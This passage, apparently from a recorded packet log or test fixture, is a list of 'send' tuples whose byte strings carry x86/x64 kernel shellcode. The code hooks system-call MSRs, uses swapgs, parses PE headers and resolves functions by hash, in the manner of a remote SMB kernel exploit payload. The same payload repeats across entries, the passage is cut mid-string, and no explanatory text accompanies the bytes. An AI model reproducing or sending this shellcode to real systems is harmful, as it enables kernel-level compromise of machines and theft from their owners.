0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 15, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 0\\xc2I\\xeb\\xf0\\x89\\xd0^Z\\xc2\\x08\\x00XZ_^PV\\x89\\xf0\\x83\\xc6<\\x8b6\\x01\\xc61\\xc0\\x89\\xc1f\\x8bN\\x06f\\x8bF\\x14\\x01\\xc6\\x83\\xc6\\x18\\x85\\xc9t\\x1d\\x8b\\x069\\xf8u\\x07\\x8bF\\x049\\xd0t\\x06\\x83\\xc6(I\\xeb\\xe9\\x8bF\\x0c\\x8bN\\x08^\\x01\\xc6\\xc31\\xf6\\xc3`1\\xc0\\x83\\xf8\\x0ft\\x1e1\\xc9\\x8b<\\x86\\x8b\\x14\\x8e9\\xd7t\\x03Au\\xf3\\x0f\\xb6\\x94\\x03\\x87\\x03\\x00\\x009\\xd1u\\r@\\xeb\\xddA9\\xc8u\\x05a1\\xc0@\\xc3a1\\xc0\\xc3\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\t\\n\\t\\t\\r\\x0e\\x8bL$\\x08`\\xe8\\x00\\x00\\x00\\x00]f\\x81\\xe5\\x00\\xf0\\x89M4\\xe8\\xd9\\x01\\x00\\x00\\xe8C\\x01\\x00\\x00\\xe8\\x7f\\x01\\x00\\x00\\x85\\xc0\\x0f\\x84\\xe3\\x00\\x00\\x00\\x8b]<\\x8bK\\xd8\\xe8\\x17\\x01\\x00\\x00<#t\\r\\x01\\x00\\x00f\\xb8\\x10\\x00\\x8bM8f\\x01A\\x1e\\x8bE\\x10\\x89D$\\x1cah\\x00\\x00\\x00\\x00\\x8b@H9\\xdfu\\x0cL\\x8b\\x86\\x98\\x00\\x00\\x00M\\x85\\xc0t\\x06H\\x83\\xc6\\x08\\xeb\\xd8H\\x83\\xc6\\x08H\\x89u\\xe0H1\\xc9\\xba\\xf0\\x0f\\x00\\x00\\xffU\\xf0H\\x85\\xc0tiI\\x89\\xc1H1\\xc0\\xb9\\x00\\x04\\x00\\x00L\\x89\\xcf\\xf3\\xabL\\x89\\xcfH\\x83\\xc7`H\\x8d5\\x91\\x02\\x00\\x00H1\\xc9f\\xb96\\x02\\xf3\\xa4M\\x89\\tH\\x8b]\\xf8I\\x89Y\\x08H1\\xdfH\\x8b]\\xf0I\\x89Y\\x10H1\\xdfH\\x8b]\\xe8I\\x89Y\\x18H1\\xdfH\\x8b]\\xe0I\\x89Y H1\\xdfA\\x89yDH\\x8bE\\xe0H\\x83\\xc0pI\\x83\\xc1`L\\x89\\x08H\', 0.0)', '(\'send\', 17, b\'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\xb0\\x00\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xf0\\xdf\\xff\\xc0\\xf0\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\xf0\\xf1\\xdf\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x01\\xd0\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\xd0\\xff\\xff\\xff\\xff\\xff\\x001\\xc0@\\x90t\\x08\\xe8\\t\\x00\\x00\\x00\\xc2$\\x00\\xe8\\xa7\\x00\\x00\\x00\\xc3\\xe8\\x01\\x00\\x00\\x00\\xeb\\x90[\\xb9v\\x01\\x00\\x00\\x0f2\\xa3\\xfc\\xff\\xdf\\xff\\x8dC\\x171\\xd2\\x0f0\\xc3\\xb9#\\x00\\x00\\x00j0\\x0f\\xa1\\x8e\\xd9\\x8e\\xc1d\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\xff5\\xfc\\xff\\xdf\\xff`\\x9cj#R\\x9cj\\x02\\x83\\xc2\\x08\\x9d\\x80L$\\x01\\x02j\\x1b\\xff5\\x04\\x03\\xdf\\xffj\\x00USVWd\\x8b\\x1d\\x1c\\x00\\x00\\x00j;\\x8b\\xb3$\\x01\\x00\\x00\\xff31\\xc0H\\x89\\x03\\x8bn(j\\x01\\x83\\xecH\\x81\\xed\\x9c\\x02\\x00\\x00\\xa1\\xfc\\xff\\xdf\\xff\\xb9v\\x01\\x00\\x001\\xd2\\x0f0\\xfb\\xe8\\x11\\x00\\x00\\x00\\xfad\\x8b\\r@\\x00\\x00\\x00\\x8ba\\x04\\x83\\xec(\\x9da\\xc3\\xe9\\xef\\x00\\x00\\x00\\xb9\\x82\\x00\\x00\\xc0\\x0f2H\\xbb\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xff\\x89S\\x04\\x89\\x03H\\x8d\\x05\\n\\x00\\x00\\x00H\\x89\\xc2H\\xc1\\xea \\x0f0\\xc3\\x0f\\x01\\xf8eH\\x89$%\\x10\\x00\\x00\\x00eH\\x8b$%\\xa8\\x01\\x00\\x00PSQRVWUAPAQARASATAUAVAWj+e\\xff4%\\x10\\x00\\x00\\x00ASj3QL\\x89\\xd1H\\x83\\xec\\x08UH\\x81\\xecX\\x01\\x00\\x00H\\x8d\\xac$\\x80\\x00\\x00\\x00H\\x89\\x9d\\xc0\\x00\\x00\\x00H\\x89\\xbd\\xc8\\x00\\x00\\x00H\\x89\\xb5\\xd0\\x00\\x00\\x00H\\xa1\\xf8\\x0f\\xd0\\xff\\xff\\xff\\xff\\xffH\\x89\\xc2H\\xc1\\xea H1\\xdb\\xff\\xcbH!\\xd8H1\\xc9\\xb9\\x82\\x00\\x00\\xc0\\x0f0\\xfb\\xe88\\x00\\x00\\x00\\xfaeH\\x8b$%\\xa8\\x01\\x00\\x00H\\x83\\xecxA_A^A]A\\\\A[AZAYAX]_^ZY[XeH\\x8b$%\\x10\\x00\\x00\\x00\\x0f\\x01\\xf8\\xff$%\\xf8\\x0f\\xd0\\xff1\\xc0@\\x90\\x0f\\x84\\xb5\\x05\\x00\\x00\\xe8\\x00\\x00\\x00\\x00X`\\x89\\xc3\\x89\\xe5\\x83\\xecHd\\x8b\\r8\\x00\\x00\\x00f\\x8bA\\x06\\xc1\\xe0\\x10f\\x8b\\x01f%\\x00\\xf0\\x8b\\x08f\\x81\\xf9MZt\\x07-\\x00\\x10\\x00\\x00\\xeb\\xf0\\x89E\\xfcS\\x89\\xc3\\xb9\\x94\\x01i\\xe3\\xe8>\\x01\\x00\\x00\\x89E\\xf8\\xb9\\x85T\\x83\\xf0\\xe81\\x01\\x00\\x00\\x89E\\xf4\\xb9.[Q\\xd2\\xe8$\\x01\\x00\\x00\\x89E\\xec[\\x8dU\\xe81\\xc9\\x89\\nRj\\x00Rj\\x0b\\xff\\xd0\\x8bU\\xe8\\x85\\xd2\\x0f\\x84\\x02\\x01\\x00\\x00Rj\\x00\\xffU\\xf8\\x85\\xc0\\x0f\\x84\\xf4\\x00\\x00\\x00Pj\\x00\\xffu\\xe8Pj\\x0b\\xffU\\xec\\x85\\xc0\\x0f\\x85\\xe0\\x00\\x00\\x00XP-\\xfc\\x00\\x00\\x00\\x05\\x1c\\x01\\x00\\x00P\\xe8\\x80\\x01\\x00\\x00\\xb9\\xfa<\\xad\\xc29\\xc8t\\x1e\\xb9\\x1a\\xbdK+9\\xc8t\\x15X\\x8bU\\xe8\\x81\\xea\\x1c\\x01\\x00\\x00\\x0f\\x8c\\xac\\x00\\x00\\x00\\x89U\\xe8\\xeb\\xceX\\x8bp\\xec\\xffU\\xf4\\x89\\xf0PPh.datja\\xe8\\\'\\x02\\x00\\x00\\x85\\xc0\\x0f\\x84\\x88\\x00\\x00\\x00X\\x83\\xe9@\\xe8Z\\x02\\x00\\x00\\x85\\xc0t\\x15\\x8b\\x16\\xc1\\xea\\x18\\x89\\xf0\\xc1\\xe8\\x189\\xd0u\\x07\\x8bFH\\x85\\xc0t\\n\\x83\\xc6\\x04\\x83\\xe9\\x04\\xe3^\\xeb\\xd8\\x89u\\xf0Vh\\xf8\\x0f\\x00\\x00j\\x00\\xffU\\xf8\\x85\\xc0tJP\\x89\\xc71\\xc0\\x89\\xc1f\\x81\\xc1\\x00\\x04\\xf3\\xabX\\x89\\x00\\x8bU\\x04\\x89P\\x041\\xd7\\x8bU\\xf8\\x89P\\x081\\xd7\\x8bU\\xf4\\x89P\\x0c1\\xd7\\x8bU\\xf0\\x89P\\x101\\xd7\\x89x$\\x83\\xc0H\\x89\\xc7\\x8d\\xb3\\x96\\x03\\x00\\x00\\xb9\\x1a\\x02\\x00\\x00\\xf3\\xa4[\\x89C8\\x89\\xeca\\xc3SRQWU\\x89\\xe5\\x83\\xec\\x18\\x89\\xcf\\x89\\xd8\\x89E\\xfc\\xe8z\\x00\\x00\\x00\\x85\\xc0tm\\x89E\\xf8\\xe8\\xee\\x00\\x00\\x00\\x89E\\xf4\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x0e\\x01\\x00\\x00\\x85\\xc0tS\\x89E\\xf0\\x8bE\\xfc\\x8bM\\xf8\\xe8\\x04\\x01\\x00\\x00\\x85\\xc0tA\\x89E\\xec\\x8bE\\xfc\\x8bM\\xf8\\xe8\\xfa\\x00\\x00\\x00\\x85\\xc0t/\\x89E\\xe8\\x8bE\\xfc\\x89\\xf9\\x8bU\\xec\\x8b]\\xf4\\xe8\\xab\\x00\\x00\\x00\\x85\\xc0t\\x18\\x89\\xc1\\x8bE\\xe8\\xe8\\xdd\\x00\\x00\\x00f\\x89\\xc2\\x8bE\\xfc\\x8bM\\xf0\\xe8\\xd7\\x00\\x00\\x00\\x83\\xc4\\x18]_YZ[\\xc3V\\x89\\xc6\\x83\\xc6<\\x8b6\\x01\\xc6f\\x81>PEu\\t\\x83\\xc6x\\x8b6\\x01\\xf0^\\xc31\\xc0\\xeb\\xfaVQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\x05\\x01\\xc8F\\xeb\\xe9_Y^\\xc3VWR\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xd2\\x8a\\x16\\x01\\xd0F\\xe2\\xeeZ_^\\xc3VQW\\x89\\xc61\\xc0\\x89\\xc7\\xc1\\xe7\\x07)\\xc7\\x89\\xf81\\xc9\\x8a\\x0e\\x80\\xf9\\x00t\\xc6\\x01\\xc8FF\\xeb\\xe8_Y^\\xc3\\x83\\xc0\\x18\\x8b\\x00\\xc3WVQ1\\xff\\x89\\xc69\\xdft\\x19\\x8b\\x04\\xba\\x01\\xf0\\xe8\\x83\\xff\\xff\\xff9\\xc8t\\x07G\\xeb\\xebY^_\\xc3\\x89\\xf8\\xeb\\xf81\\xc0\\xeb\\xf4\\x83\\xc1\\x1c\\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1 \\x8b\\t\\x01\\xc8\\xc3\\x83\\xc1$\\x8b\\t\\x01\\xc8\\xc3\\xd1\\xe1\\x01\\xc8f\\x8b\\x00\\xc3\\x81\\xe2\\xff\\xff\\x00\\x00\\xc1\\xe2\\x02\\x01\\xd1\\x8b\\t\\x01\\xc8\\xc3RV\\x8bt$\\x0c\\x8bL$\\x101\\xd2\\xd1\\xe9\\x85\\xc9t\\x0c\\xc1\\xc2\\x05\\xacF\\x0c 